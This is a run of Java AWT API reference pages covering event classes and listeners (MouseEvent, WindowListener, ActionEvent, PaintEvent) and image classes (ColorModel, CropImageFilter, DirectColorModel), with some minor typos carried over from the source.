  public final static int MOUSE_FIRST;
  public final static int MOUSE_LAST;
  public final static int MOUSE_MOVED;
  public final static int MOUSE_PRESSED;
  public final static int MOUSE_RELEASED;
  // Constructors
  public MouseEvent (Component source, int id, long when, int modifiers, int x,
    int y, int clickCount, boolean popupTrigger);
  // Instance Methods
  public int getClickCount();
  public synchronized Point getPoint();
  public int getX();
  public int getY();
  public boolean isPopupTrigger();
  public String paramString();
  public synchronized void translatePoint (int x, int y);
}

Constants

MOUSE_CLICKED

public final static int MOUSE_CLICKED

An event type ID indicating a mouse click.

MOUSE_DRAGGED

public final static int MOUSE_DRAGGED

An event type ID indicating a mouse move with the button held down.

MOUSE_ENTERED

public final static int MOUSE_ENTERED

An event type ID indicating that a mouse entered a component.

MOUSE_EXITED

public final static int MOUSE_EXITED

An event type ID indicating that a mouse left a component.

MOUSE_FIRST

public final static int MOUSE_FIRST

Specifies the beginning range of mouse event ID values.

MOUSE_LAST

public final static int MOUSE_LAST

Specifies the ending range of mouse event ID values.

MOUSE_MOVED

public final static int MOUSE_MOVED

An event type ID indicating a mouse move.

MOUSE_PRESSED

public final static int MOUSE_PRESSED

An event type ID indicating a mouse button press.

MOUSE_RELEASED

public final static int MOUSE_RELEASED

An event type ID indicating a mouse button release.

Constructors

MouseEvent

public MouseEvent (Component source, int id, long when, int modifiers, int x, int y, int clickCount, boolean popupTrigger)

Parameters

source

The object that generated the event.

id

The event type ID of the event.

when

When the event occurred, in milliseconds from the epoch.

modifiers

What modifier keys were pressed with this key.

x

The horizontal location of the event.

y

The vertical location of the event.

clickCount

The number of times the mouse button has been clicked.

popupTrigger

A flag indicating if this event is a popup trigger event.

Description

Constructs a MouseEvent with the given characteristics.

Instance Methods

getClickCount

public int getClickCount()

Returns

The number of consecutive mouse button clicks for this event.

getPoint

public synchronized Point getPoint()

Returns

The location where the event happened.

getX

public int getX()

Returns

The horizontal location where the event happened.

getY

public int getY()

Returns

The vertical location where the event happened.

isPopupTrigger

public boolean isPopupTrigger()

Returns

Returns true if this event is the popup menu event for the run-time system.

paramString

public String paramString()

Returns

String with current settings of the MouseEvent.

Overrides

ComponentEvent.paramString()

Description

Helper method for toString() to generate string of current settings.

translatePoint

public synchronized void translatePoint (int x, int y)

Parameters

x

The horizontal amount of translation.

y

The vertical amount of translation.

Description

Translates the location of the event by the given amounts.

See Also

Component, ComponentEvent, InputEvent, MouseAdapter, MouseListener, Point

Previous | Home | Next
MouseAdapter (New) | Book Index | MouseListener (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] MouseListener

Previous Chapter 21
java.awt.event Reference 		Next

MouseListener (New)

Name

MouseListener (New)

[Graphic: Figure from the text]

Description

Objects that implement the MouseListener interface can receive non-motion oriented MouseEvent objects. Listeners must first register themselves with objects that produce events. When events occur, they are then automatically propagated to all registered listeners.

Interface Definition

public abstract interface java.awt.event.MouseListener
   extends java.util.EventListener {
  // Instance Methods
  public abstract void mouseClicked (MouseEvent e);
  public abstract void mouseEntered (MouseEvent e);
  public abstract void mouseExited (MouseEvent e);
  public abstract void mousePressed (MouseEvent e);
  public abstract void mouseReleased (MouseEvent e);
}

Interface Methods

mouseClicked

public abstract void mouseClicked (MouseEvent e)

Parameters

e

The key event that occurred.

Description

Notifies the MouseListener that the mouse button was clicked (pressed and released).

mouseEntered

public abstract void mouseEntered (MouseEvent e)

Parameters

e

The key event that occurred.

Description

Notifies the MouseListener that the mouse cursor has been moved into a component's coordinate space.

mouseExited

public abstract void mouseExited (MouseEvent e)

Parameters

e

The key event that occurred.

Description

Notifies the MouseListener that the mouse cursor has been moved out of a component's coordinate space.

mousePressed

public abstract void mousePressed (MouseEvent e)

Parameters

e

The key event that occurred.

Description

Notifies the MouseListener that the mouse button was pressed.

mouseReleased

public abstract void mouseReleased (MouseEvent e)

Parameters

e

The key event that occurred.

Description

Notifies the MouseListener that the mouse button was released.

See Also

EventListener, MouseAdapter, MouseEvent

Previous | Home | Next
MouseEvent (New) | Book Index | MouseMotionAdapter (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] MouseMotionAdapter

Previous Chapter 21
java.awt.event Reference 		Next

MouseMotionAdapter (New)

Name

MouseMotionAdapter (New)

[Graphic: Figure from the text]

Description

The MouseMotionAdapter class implements the methods of MouseMotionListener with empty functions. It may be easier for you to extend MouseMotionAdapter, overriding only those methods you are interested in, than to implement MouseMotionListener and provide the empty functions yourself.

Class Definition

public abstract class java.awt.event.MouseMotionAdapter
   extends java.lang.Object
   implements java.awt.event.MouseMotionListener {
  // Instance Methods
  public void mouseDragged (MouseEvent e);
  public void mouseMoved (MouseEvent e);
}

Instance Methods

mouseDragged

public void mouseDragged (MouseEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when the mouse is dragged.

mouseMoved

public void mouseEntered (MouseEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when the mouse moves.

See Also

MouseEvent, MouseMotionListener

Previous | Home | Next
MouseListener (New) | Book Index | MouseMotionListener (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] MouseMotionListener

Previous Chapter 21
java.awt.event Reference 		Next

MouseMotionListener (New)

Name

MouseMotionListener (New)

[Graphic: Figure from the text]

Description

Objects that implement the MouseMotionListener interface can receive motion-oriented MouseEvent objects. Listeners must first register themselves with objects that produce events. When events occur, they are automatically propagated to all registered listeners.

Interface Definition

public abstract interface java.awt.event.MouseMotionListener
   extends java.util.EventListener {
  // Instance Methods
  public abstract void mouseDragged (MouseEvent e);
  public abstract void mouseMoved (MouseEvent e);
}

Interface Methods

mouseDragged

public abstract void mouseDragged (MouseEvent e)

Parameters

e

The key event that occurred.

Description

Notifies the MouseMotionListener that the mouse has been dragged.

mouseMoved

public abstract void mouseMoved (MouseEvent e)

Parameters

e

The key event that occurred.

Description

Notifies the MouseMotionListener that the mouse has been moved.

See Also

AWTEventMulticaster, EventListener, MouseEvent, MouseMotionAdapter

Previous | Home | Next
MouseMotionAdapter (New) | Book Index | PaintEvent (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] PaintEvent

Previous Chapter 21
java.awt.event Reference 		Next

PaintEvent (New)

Name

PaintEvent (New)

[Graphic: Figure from the text]

Description

The PaintEvent class represents the paint and update operations that the AWT performs on components. There is no PaintListener interface, so the only way to catch these events is to override paint(Graphics) and update(Graphics) in Component. This class exists so that paint events will get serialized properly.

Class Definition

public class java.awt.event.PaintEvent
   extends java.awt.event.ComponentEvent {
  // Constants
  public final static int PAINT;
  public final static int PAINT_FIRST;
  public final static int PAINT_LAST;
  public final static int UPDATE;
  // Constructor
  public PaintEvent (Component source, int id, Rectangle updateRect);
  // Instance Methods
  public Rectangle getUpdateRect();
  public String paramString();
  public void setUpdateRect (Rectangle updateRect);
}

Class Definition

public class java.awt.event.PaintEvent
        extends java.awt.event.ComponentEvent {
  // Constants
  public final static int PAINT;
  public final static int PAINT_FIRST;
  public final static int PAINT_LAST;
  public final static int UPDATE;
  //Constructor
  public PaintEvent (Component source, int id, Rectangle updateRect);
  // Instance Methods
  public Rectangle getUpdateRect();
  public String paramString();
  public void setUpdateRect (Rectangle updateRect);
}

Constants

PAINT

public final static int PAINT

The paint event type.

PAINT_FIRST

public final static int PAINT_FIRST

Specifies the beginning range of paint event ID values.

PAINT_LAST

public final static int PAINT_LAST

Specifies the ending range of paint event ID values.

UPDATE

public final static int UPDATE

The update event type.

Constructor

PaintEvent

public PaintEvent (Component source, ind id, Rectangle updateRect)

Parameters

source

The source of the event.

id

The event type ID.

g

The rectangular area to paint.

Description

Constructs a PaintEvent with the given characteristics.

Instance Methods

getUpdateRect

public Rectangle getUpdateRect()

Returns

The rectangular area that needs painting.

paramString

public String paramString()

Returns

String with current settings of the PaintEvent.

Overrides

ComponentEvent.paramString()

Description

Helper method for toString() to generate string of current settings.

setUpdateRect

public void setUpdateRect (Rectangle updateRect)

Parameters

updateRect

The rectangular area to paint.

Description

Changes the rectangular area that this PaintEvent will paint.

See Also

Component, ComponentEvent, Graphics

Previous | Home | Next
MouseMotionListener (New) | Book Index | TextEvent (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] TextEvent

Previous Chapter 21
java.awt.event Reference 		Next

TextEvent (New)

Name

TextEvent (New)

[Graphic: Figure from the text]

Description

Text events are generated by text components when their contents change, either programmatically or by a user typing.

Class Definition

public class java.awt.event.TextEvent
   extends java.awt.AWTEvent {
  // Constants
  public final static int TEXT_FIRST;
  public final static int TEXT_LAST;
  public final static int TEXT_VALUE_CHANGED;
  // Constructors
  public TextEvent (Object source, int id);
  // Instance Methods
  public String paramString();
}

Constants

TEXT_FIRST

public final static int TEXT_FIRST

Specifies the beginning range of text event ID values.

TEXT_LAST

public final static int TEXT_LAST

Specifies the ending range of text event ID values.

TEXT_VALUE_CHANGED

public final static int TEXT_VALUE_CHANGED

The only text event type; it indicates that the contents of something have changed.

Constructors

TextEvent

public TextEvent (Object source, int id)

Parameters

source

The object that generated the event.

id

The type ID of the event.

Description

Constructs a TextEvent with the given characteristics.

Instance Methods

paramString

public String paramString()

Returns

String with current settings of the TextEvent.

Overrides

AWTEvent.paramString()

Description

Helper method for toString() to generate string of current settings.

See Also

AWTEvent, TextListener

Previous | Home | Next
PaintEvent (New) | Book Index | TextListener (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] TextListener

Previous Chapter 21
java.awt.event Reference 		Next

TextListener (New)

Name

TextListener (New)

[Graphic: Figure from the text]

Description

Objects that implement the TextListener interface can receive TextEvent objects. Listeners must first register themselves with objects that produce events. When events occur, they are then automatically propagated to all registered listeners.

Interface Definition

public abstract interface java.awt.event.TextListener
   extends java.util.EventListener {
  // Interface Methods
  public abstract void textValueChanged (TextEvent e);
}

Interface Methods

textValueChanged

public abstract void textValueChanged (TextEvent e)

Parameters

e

The text event that occurred.

Description

Notifies the TextListener that an event occurred.

See Also

AWTEventMulticaster, EventListener, TextEvent

Previous | Home | Next
TextEvent (New) | Book Index | WindowAdapter (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] WindowAdapter

Previous Chapter 21
java.awt.event Reference 		Next

WindowAdapter (New)

Name

WindowAdapter (New)

[Graphic: Figure from the text]

Description

The WindowAdapter class implements the methods of WindowListener with empty functions. It may be easier for you to extend WindowAdapter, overriding only those methods you are interested in, than to implement WindowListener and provide the empty functions yourself.

Class Definition

public abstract class java.awt.event.WindowAdapter
   extends java.lang.Object
   implements java.awt.event.WindowListener {
  // Instance Methods
  public void windowActivated (WindowEvent e);
  public void windowClosed (WindowEvent e);
  public void windowClosing (WindowEvent e);
  public void windowDeactivated (WindowEvent e);
  public void windowDeiconified (WindowEvent e);
  public void windowIconified (WindowEvent e);
  public void windowOpened (WindowEvent e);
}

Instance Methods

windowActivated

public void windowActivated (WindowEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when a window is activated.

windowClosed

public void windowClosed (WindowEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when a window is closed.

windowClosing

public void windowClosing (WindowEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when a window is in the process of closing.

windowDeactivated

public void windowDeactivated (WindowEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when a window is deactivated.

windowDeiconified

public void windowDeiconified (WindowEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when an iconified window is restored.

windowIconified

public void windowIconified (WindowEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when a window is iconified (minimized).

windowOpened

public void windowOpened (WindowEvent e)

Parameters

e

The event that has occurred.

Description

Does nothing. Override this function to be notified when a window is opened.

See Also

WindowEvent, WindowListener

Previous | Home | Next
TextListener (New) | Book Index | WindowEvent (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] WindowEvent

Previous Chapter 21
java.awt.event Reference 		Next

WindowEvent (New)

Name

WindowEvent (New)

[Graphic: Figure from the text]

Description

Window events are generated when a window is opened, closed, iconified, or deiconified.

Class Definition

public class java.awt.event.WindowEvent
   extends java.awt.event.ComponentEvent {
  // Constants
  public final static int WINDOW_ACTIVATED;
  public final static int WINDOW_CLOSED;
  public final static int WINDOW_CLOSING;
  public final static int WINDOW_DEACTIVATED;
  public final static int WINDOW_DEICONIFIED;
  public final static int WINDOW_FIRST;
  public final static int WINDOW_ICONIFIED;
  public final static int WINDOW_LAST;
  public final static int WINDOW_OPENED;
  // Constructors
  public WindowEvent (Window source, int id);
  // Instance Methods
  public Window getWindow();
  public String paramString();
}

Constants

WINDOW_ACTIVATED

public final static int WINDOW_ACTIVATED

Event type ID indicating the window has been activated, brought to the foreground.

WINDOW_CLOSED

public final static int WINDOW_CLOSED

Event type ID indicating the window has closed.

WINDOW_CLOSING

public final static int WINDOW_CLOSING

Event type ID indicating the window is closing.

WINDOW_DEACTIVATED

public final static int WINDOW_DEACTIVATED

Event type ID indicating the window has been deactivated, placed in the background.

WINDOW_DEICONIFIED

public final static int WINDOW_DEICONIFIED

Event type ID indicating the window has been restored from an iconified state.

WINDOW_FIRST

public final static int WINDOW_FIRST

Specifies the beginning range of window event ID values.

WINDOW_ICONIFIED

public final static int WINDOW_ICONIFIED

Event type ID indicating the window has been iconified (minimized).

WINDOW_LAST

public final static int WINDOW_LAST

Specifies the ending range of window event ID values.

WINDOW_OPENED

public final static int WINDOW_OPENED

Event type ID indicating the window has opened.

Constructors

WindowEvent

public WindowEvent (Window source, int id)

Parameters

source

The object that generated the event.

id

The event type ID of the event.

Description

Constructs a WindowEvent with the given characteristics.

Instance Methods

getWindow

public Window getWindow()

Returns

The window that generated this event.

paramString

public String paramString()

Returns

String with current settings of the WindowEvent.

Overrides

ComponentEvent.paramString()

Description

Helper method for toString() to generate string of current settings.

See Also

ComponentEvent, Window, WindowAdapter, WindowListener

Previous | Home | Next
WindowAdapter (New) | Book Index | WindowListener (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] WindowListener

Previous Chapter 21
java.awt.event Reference 		Next

WindowListener (New)

Name

WindowListener (New)

[Graphic: Figure from the text]

Description

Objects that implement the WindowListener interface can receive WindowEvent objects. Listeners must first register themselves with objects that produce events. When events occur, they are then automatically propagated to all registered listeners.

Interface Definition

public abstract interface java.awt.event.WindowListener
   extends java.util.EventListener {
  // Instance Methods
  public abstract void windowActivated (WindowEvent e);
  public abstract void windowClosed (WindowEvent e);
  public abstract void windowClosing (WindowEvent e);
  public abstract void windowDeactivated (WindowEvent e);
  public abstract void windowDeiconified (WindowEvent e);
  public abstract void windowIconified (WindowEvent e);
  public abstract void windowOpened (WindowEvent e);
}

Interface Methods

windowActivated

public abstract void windowActivated (WindowEvent e)

Parameters

e

The event that occurred.

Description

Notifies the WindowListener that a window has been activated.

windowClosed

public abstract void windowClosed (WindowEvent e)

Parameters

e

The event that occurred.

Description

Notifies the WindowListener that a window has closed.

windowClosing

public abstract void windowClosing (WindowEvent e)

Parameters

e

The event that occurred.

Description

Notifies the WindowListener that a window is closing.

windowDeactivated

public abstract void windowDeactivated (WindowEvent e)

Parameters

e

The event that occurred.

Description

Notifies the WindowListener that a window has been deactivated.

windowDeiconified

public abstract void windowDeiconified (WindowEvent e)

Parameters

e

The event that occurred.

Description

Notifies the WindowListener that a window has been restored from an iconified state.

windowIconified

public abstract void windowIconified (WindowEvent e)

Parameters

e

The event that occurred.

Description

Notifies the WindowListener that a window has iconified (minimized).

windowOpened

public abstract void windowOpened (WindowEvent e)

Parameters

e

The event that occurred.

Description

Notifies the WindowListener that a window has opened.

See Also

AWTEventMulticaster, EventListener, Window, WindowAdapter, WindowEvent

Previous | Home | Next
WindowEvent (New) | Book Index | java.awt.image Reference
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 21] java.awt.event Reference

Previous Chapter 21 Next

21. java.awt.event Reference

Contents:

Select a new section and then

ActionEvent (New)

Name

ActionEvent (New)

[Graphic: Figure from the text]

Description

Action events are fired off when the user performs an action on a component, such as pushing a button, double-clicking on a list item, or selecting a menu item. There is only one action event type, ACTION_PERFORMED.

Class Definition

public class java.awt.event.ActionEvent
   extends java.awt.AWTEvent {
  // Constants
  public final static int ACTION_FIRST;
  public final static int ACTION_LAST;
  public final static int ACTION_PERFORMED;
  public final static int ALT_MASK;
  public final static int CTRL_MASK;
  public final static int META_MASK;
  public final static int SHIFT_MASK;
  // Constructors
  public ActionEvent (Object source, int id, String command);
  public ActionEvent (Object source, int id, String command, int modifiers);
  // Instance Methods
  public String getActionCommand();
  public int getModifiers();
  public String paramString();
}

Constants

ACTION_FIRST

public final static int ACTION_FIRST

Specifies the beginning range of action event ID values.

ACTION_LAST

public final static int ACTION_LAST

Specifies the ending range of action event ID values.

ACTION_PERFORMED

public final static int ACTION_PERFORMED

The only action event type; it indicates that the user has performed an action.

ALT_MASK

public final static int ALT_MASK

A constant representing the ALT key. ORed with other masks to form modifiers setting of an AWTEvent.

CTRL_MASK

public final static int CTRL_MASK

A constant representing the Control key. ORed with other masks to form modifiers setting of an AWTEvent.

META_MASK

public final static int META_MASK

A constant representing the META key. ORed with other masks to form modifiers setting of an AWTEvent.

SHIFT_MASK

public final static int SHIFT_MASK

A constant representing the Shift key. ORed with other masks to form modifiers setting of an AWTEvent.

Constructors

ActionEvent

public ActionEvent (Object source, int id, String command)

Parameters

source

The object that generated the event.

id

The type ID of the event.

command

The action command string.

Description

Constructs an ActionEvent with the given characteristics.

public ActionEvent (Object source, int id, String command, int modifiers)

Parameters

source

The object that generated the event.

id

The type ID of the event.

command

The action command string.

modifiers

A combination of the key mask constants.

Description

Constructs an ActionEvent with the given characteristics.

Instance Methods

getActionCommand

public String getActionCommand()

Returns

The action command string for this ActionEvent.

Description

Generally the action command string is the label of the component that generated the event. Also, when localization is necessary, the action command string can provide a setting that does not get localized.

getModifiers

public int getModifiers()

Returns

A combination of the key mask constants.

Description

Returns the modifier keys that were held down when this action was performed. This enables you to perform special processing if, for example, the user holds down Shift while pushing a button.

paramString

public String paramString()

Returns

String with current settings of ActionEvent.

Overrides

AWTEvent.paramString()

Description

Helper method for toString() to generate string of current settings.

See Also

ActionListener, AWTEvent, String

Previous | Home | Next
WindowListener (New) | Book Index | ActionListener (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] java.awt.image Reference

Previous Chapter 22 Next

22. java.awt.image Reference

Contents:
ColorModel
CropImageFilter
DirectColorModel
FilteredImageSource
ImageConsumer
ImageFilter
ImageObserver
ImageProducer
IndexColorModel
MemoryImageSource
PixelGrabber
ReplicateScaleFilter (New)
RGBImageFilter

AreaAveragingScaleFilter (New)

Name

AreaAveragingScaleFilter (New)

[Graphic: Figure from the text]

Description

The AreaAveragingScaleFilter class scales an image using a simple smoothing algorithm.

Class Definition

public class java.awt.image.AreaAveragingScaleFilter
    extends java.awt.image.ReplicateScaleFilter {
  // Constructor
  public AreaAveragingScaleFilter (int width, int height);
  // Instance Methods
  public void setHints (int hints);
  public void setPixels (int x, int y, int w, int h, ColorModel model,
    byte[] pixels, int off, int scansize);
  public void setPixels (int x, int y, int w, int h, ColorModel model,
    int[] pixels, int off, int scansize);
}

Constructor

AreaAveragingScaleFilter

public AreaAveragingScaleFilter (int width, int height)

Parameters

width

Width of scaled image.

height

Height of scaled image.

Description

Constructs an AverageScaleFilter that scales the original image to the specified size.

Instance Methods

setHints

public void setHints (int hints)

Parameters

hints

Flags indicating how data will be delivered.

Overrides

ImageFilter.setHints(int)

Description

Gives this filter hints about how data will be delivered.

setPixels

public void setPixels (int x, int y, int w, int h, ColorModel model, byte[] pixels, int off, int scansize)

Parameters

x

x-coordinate of top-left corner of pixel data delivered with this method call.

y

y-coordinate of top-left corner of pixel data delivered with this method call.

w

Width of the rectangle of pixel data delivered with this method call.

h

Height of the rectangle of pixel data delivered with this method call.

model

Color model of image data.

pixels

Image data.

off

Offset from beginning of the pixels array.

scansize

Size of each line of data in pixels array.

Overrides

ReplicateScaleFilter.setPixels(int, int, int, int, ColorModel, byte[], int, int)

Description

Receives a rectangle of image data from the ImageProducer; scales these pixels and delivers them to any ImageConsumers.

public void setPixels (int x, int y, int w, int h, ColorModel model, int[] pixels, int off, int scansize)

Parameters

x

x-coordinate of top-left corner of pixel data delivered with this method call.

y

y-coordinate of top-left corner of pixel data delivered with this method call.

w

Width of the rectangle of pixel data delivered with this method call.

h

Height of the rectangle of pixel data delivered with this method call.

model

Color model of image data.

pixels

Image data.

off

Offset from beginning of the pixels array.

scansize

Size of each line of data in pixels array.

Overrides

ReplicateScaleFilter.setPixels(int, int, int, int, ColorModel, int[], int, int)

Description

Receives a rectangle of image data from the ImageProducer; scales these pixels and delivers them to any ImageConsumers.

See Also

ColorModel, ReplicateScaleFilter

Previous | Home | Next
WindowListener (New) | Book Index | ColorModel
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] ColorModel

Previous Chapter 22
java.awt.image Reference 		Next

ColorModel

Name

ColorModel

[Graphic: Figure from the text]

Description

The abstract ColorModel class defines the way a Java program represents colors. It provides methods for extracting different color components from a pixel.

Class Definition

public class java.awt.image.ColorModel
    extends java.lang.Object {
  // Variables
  protected int pixel_bits;
  // Constructors
  public ColorModel (int bits);
  // Class Methods
  public static ColorModel getRGBdefault();
  // Instance Methods
  public void finalize();   (New)
  public abstract int getAlpha (int pixel);
  public abstract int getBlue (int pixel);
  public abstract int getGreen (int pixel);
  public int getPixelSize();
  public abstract int getRed (int pixel);
  public int getRGB (int pixel);
}

ProtectedVariables

pixel_bits

protected int pixel_bits

The pixel_bits variable saves the ColorModel's bits setting (the total number of bits per pixel).

Constructors

ColorModel

public ColorModel (int bits)

Parameters

bits

The number of bits required per pixel using this model.

Description

Constructs a ColorModel object.

Class Methods

getRGBdefault

public static ColorModel getRGBdefault()

Returns

The default ColorModel format, which uses 8 bits for each of a pixel's color components: alpha (transparency), red, green, and blue.

Instance Methods

finalize

public void finalize() (New)

Overrides

Object.finalize()

Description

Cleans up when this object is garbage collected.

getAlpha

public abstract int getAlpha (int pixel)

Parameters

pixel

A pixel encoded with this ColorModel.

Returns

The current alpha setting of the pixel.

getBlue

public abstract int getBlue (int pixel)

Parameters

pixel

A pixel encoded with this ColorModel.

Returns

The current blue setting of the pixel.

getGreen

public abstract int getGreen (int pixel)

Parameters

pixel

A pixel encoded with this ColorModel.

Returns

The current green setting of the pixel.

getPixelSize

public int getPixelSize()

Returns

The current pixel size for the color model.

getRed

public abstract int getRed (int pixel)

Parameters

pixel

A pixel encoded with this ColorModel.

Returns

The current red setting of the pixel.

getRGB

public int getRGB (int pixel)

Parameters

pixel

A pixel encoded with this ColorModel.

Returns

The current combined red, green, and blue settings of the pixel.

Description

Gets the color of pixel in the default RGB color model.

See Also

DirectColorModel, IndexColorModel, Object

Previous | Home | Next
AreaAveragingScaleFilter (New) | Book Index | CropImageFilter
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] CropImageFilter

Previous Chapter 22
java.awt.image Reference 		Next

CropImageFilter

Name

CropImageFilter

[Graphic: Figure from the text]

Description

The CropImageFilter class creates a smaller image by cropping (i.e., extracting a rectangular region from) a larger image.

Class Definition

public class java.awt.image.CropImageFilter
    extends java.awt.image.ImageFilter {
  // Constructors
  public CropImageFilter (int x, int y, int width, int height);
  // Instance Methods
  public void setDimensions (int width, int height);
  public void setPixels (int x, int y, int width, int height, ColorModel model,
    byte[] pixels, int offset, int scansize);
  public void setPixels (int x, int y, int width, int height, ColorModel model,
    int[] pixels, int offset, int scansize);
  public void setProperties (Hashtable properties);
}

Constructors

CropImageFilter

public CropImageFilter (int x, int y, int width, int height)

Parameters

x

x-coordinate of top-left corner of piece to crop.

y

y-coordinate of top-left corner of piece to crop.

width

Width of image to crop.

height

Height of image to crop.

Description

Constructs a CropImageFilter that crops the specified region from the original image.

Instance Methods

setDimensions

public void setDimensions (int width, int height)

Parameters

width

Ignored parameter.

height

Ignored parameter.

Overrides

ImageFilter.setDimensions(int, int)

Description

Called with the original image's dimensions; these dimensions are ignored. The method in turn calls the ImageConsumer with the dimensions of the cropped image.

setPixels

public void setPixels (int x, int y, int width, int height, ColorModel model, byte[] pixels, int offset, int scansize)

Parameters

x

x-coordinate of top-left corner of pixel data delivered with this method call.

y

y-coordinate of top-left corner of pixel data delivered with this method call.

width

Width of the rectangle of pixel data delivered with this method call.

height

Height of the rectangle of pixel data delivered with this method call.

model

Color model of image data.

pixels

Image data.

offset

Offset from beginning of the pixels array.

scansize

Size of each line of data in pixels array.

Overrides

ImageFilter.setPixels(int, int, int, int, ColorModel, byte[], int, int)

Description

Receives a rectangle of image data from the ImageProducer; crops these pixels and delivers them to any ImageConsumers.

public void setPixels (int x, int y, int width, int height, ColorModel model, int[] pixels, int offset, int scansize)

Parameters

x

x-coordinate of top-left corner of pixel data delivered with this method call.

y

y-coordinate of top-left corner of pixel data delivered with this method call.

width

Width of the rectangle of pixel data delivered with this method call.

height

Height of the rectangle of pixel data delivered with this method call.

model

Color model of image data.

pixels

Image data.

offset

Offset from beginning of the pixels array.

scansize

Size of each line of data in pixels array.

Overrides

ImageFilter.setPixels(int, int, int, int, ColorModel, int[], int, int)

Description

Receives a rectangle of image data from the ImageProducer; crops these pixels and delivers them to any ImageConsumers.

setProperties

public void setProperties (Hashtable properties)

Parameters

properties

The properties for the image.

Overrides

ImageFilter.setProperties(Hashtable)

Description

Adds the "croprect" image property to the properties list.

See Also

ColorModel, Hashtable, ImageFilter

Previous | Home | Next
ColorModel | Book Index | DirectColorModel
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] DirectColorModel

Previous Chapter 22
java.awt.image Reference 		Next

DirectColorModel

Name

DirectColorModel

[Graphic: Figure from the text]

Description

The DirectColorModel class provides a ColorModel that specifies a translation between pixels and alpha, red, green, and blue component values, where the color values are embedded directly within the pixel.

Class Definition

public class java.awt.image.DirectColorModel
    extends java.awt.image.ColorModel {
  // Constructors
  public DirectColorModel (int bits, int redMask, int greenMask,
    int blueMask);
  public DirectColorModel (int bits, int redMask, int greenMask,
    int blueMask,
    int alphaMask);
  // Instance Methods
  public final int getAlpha (int pixel);
  public final int getAlphaMask();
  public final int getBlue (int pixel);
  public final int getBlueMask();
  public final int getGreen (int pixel);
  public final int getGreenMask()
  public final int getRed (int pixel);
  public final int getRedMask();
  public final int getRGB (int pixel);
}

Constructors

DirectColorModel

public DirectColorModel (int bits, int redMask, int greenMask, int blueMask)

Parameters

bits

The number of bits required per pixel of an image using this model.

redMask

The location of the red component of a pixel.

greenMask

The location of the green component of a pixel.

blueMask

The location of the blue component of a pixel.

Throws

IllegalArgumentException

If the mask bits are not contiguous or overlap.

Description

Constructs a DirectColorModel object with the given size and color masks; the alpha (transparency) component is not used.

public DirectColorModel (int bits, int redMask, int greenMask, int blueMask, int alphaMask)

Parameters

bits

The number of bits required per pixel of an image using this model.

redMask

The location of the red component of a pixel.

greenMask

The location of the green component of a pixel.

blueMask

The location of the blue component of a pixel.

alphaMask

The location of the alpha component of a pixel.

Throws

IllegalArgumentException

If the mask bits are not contiguous or overlap.

Description

Constructs a DirectColorModel object with the given size and color masks.

Instance Methods

getAlpha

public final int getAlpha (int pixel)

Parameters

pixel

A pixel encoded with this ColorModel.

Returns

The current alpha setting of the pixel.

Overrides

ColorModel.getAlpha(int)

getAlphaMask

public final int getAlphaMask()

Returns

The current alpha mask setting of the color model.

getBlue

public final int getBlue (int pixel)

Parameters

pixel

A pixel encoded with this ColorModel.

Returns

The current blue setting of the pixel.

Overrides

ColorModel.getBlue(int)

getBlueMask

public final int getBlueMask()

Returns

The current blue mask setting of the color model.

getGreen

public final int getGreen (int pixel)

Parameters

pixel

A pixel encoded with this ColorModel.

Returns

The current green setting of the pixel.

Overrides

ColorModel.getGreen(int)

getGreenMask

public final int getGreenMask()

Returns

The current green mask setting of the color model.

getRed

public final int getRed (int pixel)

Parameters

pixel

A pixel encoded with this ColorModel.

Returns

The current red setting of the pixel.

Overrides

ColorModel.getRed(int)

getRedMask

public final int getRedMask()

Returns

The current red mask setting of the color model.

getRGB

public final int getRGB (int pixel)

Parameters

pixel

A pixel encoded with this ColorModel.

Returns

The current combined red, green, and blue settings of the pixel.

Overrides

ColorModel.getRGB(int)

Description

Gets the color of pixel in the default RGB color model.

See Also

ColorModel

Previous | Home | Next
CropImageFilter | Book Index | FilteredImageSource
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] FilteredImageSource

Previous Chapter 22
java.awt.image Reference 		Next

FilteredImageSource

Name

FilteredImageSource

[Graphic: Figure from the text]

Description

The FilteredImageSource class acts as glue to put an original ImageProducer and ImageFilter together to create a new image. As the ImageProducer for the new image, FilteredImageSource is responsible for registering image consumers for the new image.

Class Definition

public class java.awt.image.FilteredImageSource
    extends java.lang.Object
    implements java.awt.image.ImageProducer {
  // Constructors
  public FilteredImageSource (ImageProducer original,
      ImageFilter filter);
  // Instance Methods
  public synchronized void addConsumer (ImageConsumer ic);
  public synchronized boolean isConsumer (ImageConsumer ic);
  public synchronized void removeConsumer (ImageConsumer ic);
  public void requestTopDownLeftRightResend (ImageConsumer ic);
  public void startProduction (ImageConsumer ic);
}

Constructors

FilteredImageSource

public FilteredImageSource (ImageProducer original, ImageFilter filter)

Parameters

original

